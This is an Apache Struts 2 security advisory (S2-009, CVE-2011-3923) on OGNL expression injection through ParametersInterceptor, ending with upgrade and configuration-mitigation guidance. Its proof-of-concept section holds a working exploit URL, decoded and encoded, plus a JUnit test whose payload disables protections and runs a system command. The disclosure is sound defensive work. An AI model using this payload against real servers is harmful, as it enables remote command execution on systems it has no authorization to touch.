S2-009

Summary

ParameterInterceptor vulnerability allows remote command execution

Who should read this	All Struts 2 developers
Impact of vulnerability	Remote command execution
Maximum security rating	Critical
Recommendation	Developers should immediately upgrade to Struts 2.3.1.2 or read the following solution instructions carefully for a configuration change to mitigate the vulnerability
Affected Software	Struts 2.0.0 - Struts 2.3.1.1
Reporter	Meder Kydyraliev, Google Security Team
CVE Identifier	CVE-2011-3923
Original Description	Reported directly to security@struts.a.o

Problem

OGNL provides, among other features, extensive expression evaluation capabilities. The vulnerability allows a malicious user to bypass all the protections (regex pattern, deny method invocation) built into the ParametersInterceptor, thus being able to inject a malicious expression in any exposed string variable for further evaluation.

A similar behavior was already addressed in S2-003 and S2-005, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
Regular expression in ParametersInterceptor matches top['foo'](0) as a valid expression, which OGNL treats as (top['foo'])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.

Proof of concept

Vulnerable Action

```
public class FooAction {
    private String foo;

    public String execute() {
        return "success";
    }
    public String getFoo() {
        return foo;
    }

    public void setFoo(String foo) {
        this.foo = foo;
    }
}
```

Here's an actual decoded example, which will create /tmp/PWNAGE directory:

```
/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess
["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp
/PWNAGE'))(meh)&z[(foo)('meh')]=true
```

encoded version:

```
/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%
20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.
Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
```

And the JUnit version

PoC

```
public class FooActionTest extends org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
    @Test
    public void testExecute() throws Exception {
        request.setParameter("foo", "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new " +
                "java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean
(true), " +
                "@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");

        request.setParameter("top['foo'](0)", "true");

        String res = this.executeAction("/example/foo.action");
        FooAction action = this.getAction();

        File pwn = new File("/tmp/PWNAGE");
        Assert.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists());
    }
}
```

Solution

The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.
Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.

It is strongly recommended to upgrade to Struts 2.3.1.2, which contains the corrected OGNL and XWork library.

In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:

Possible Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters

The following additional interceptor-ref configuration should mitigate the problem when applied correctly, allowing only simple navigational expression:

```
<interceptor-ref name="params">
        <param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
</interceptor-ref>
```

Beware that the above pattern breaks the type conversion support for collection and map (those parameter names should be attached to acceptParamNames variable).
For this configuration to work correctly, it has to be applied to **any params interceptor ref in any stack an application is using**.
E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is **once for defaultStack and twice for paramsPrepareParamsStack**